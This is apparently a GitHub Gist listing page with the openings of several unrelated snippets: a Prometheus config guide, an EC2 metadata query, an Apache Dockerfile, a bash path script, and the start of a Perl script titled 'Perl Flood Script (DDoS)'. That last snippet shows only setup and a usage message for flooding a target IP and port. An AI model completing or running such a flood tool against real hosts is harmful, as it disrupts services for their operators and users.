Skip to content

Instantly share code, notes, and snippets.

@reachlin
reachlin / prometheus.yml
Created April 19, 2017 07:06
sample prometheus configuration explained
// For all the confusing Prometheus configuration and
// regular expressions,
// explained in examples.
// Remember, there are default values for each item if it's missing.
// regex is (.*),
// replacement is $1,
// separator is ;
// ,and action is replace
@quiver
quiver / retrieve-EC2-region-information-from-metadata.md
Last active March 14, 2024 16:42
retrieve EC2's region from instance metadata

Sometimes you want to retrieve EC2 insntances' region information.

You can query that information through instance metadata(169.254.169.254).

$ curl --silent http://169.254.169.254/latest/dynamic/instance-identity/document
{
  "privateIp" : "172.31.2.15",
  "instanceId" : "i-12341ee8",
  "billingProducts" : null,
 "instanceType" : "t2.small",
@dreadpiratesr
dreadpiratesr / (DDoS)
Created October 13, 2015 20:26
Perl Flood Script (DDoS)
[Save file as reckz.pl, Put it in Perl/Bin]
#!/usr/bin/perl START SCRIPT
use Socket;
use strict;
if ($#ARGV != 3) {
print "reckz.pl <ip> <port> <size> <time>\n\n";
print " port=0: use random ports\n";
@takumikinjo
takumikinjo / Dockerfile
Last active July 8, 2019 06:53
Dockerfile for Apache2
FROM ubuntu:latest
MAINTAINER Takumi Kinjo
RUN apt-get update
RUN apt-get check
RUN apt-get dist-upgrade -y
RUN apt-get install -y apache2
# See http://www.kstaken.com/blog/2013/07/06/how-to-run-apache-under-docker/
@darrenderidder
darrenderidder / bashpath.sh
Created May 16, 2011 15:24
Get path of running script in bash
#!/bin/bash
# A simple test script to demonstrate how to find the
# "absolute path" at which a script is running. Used
# to avoid some of the pitfals of using 'pwd' or hard-
# coded paths when running scripts from cron or another
# directory.
#
# Try it out:
# run the script from the current directory, then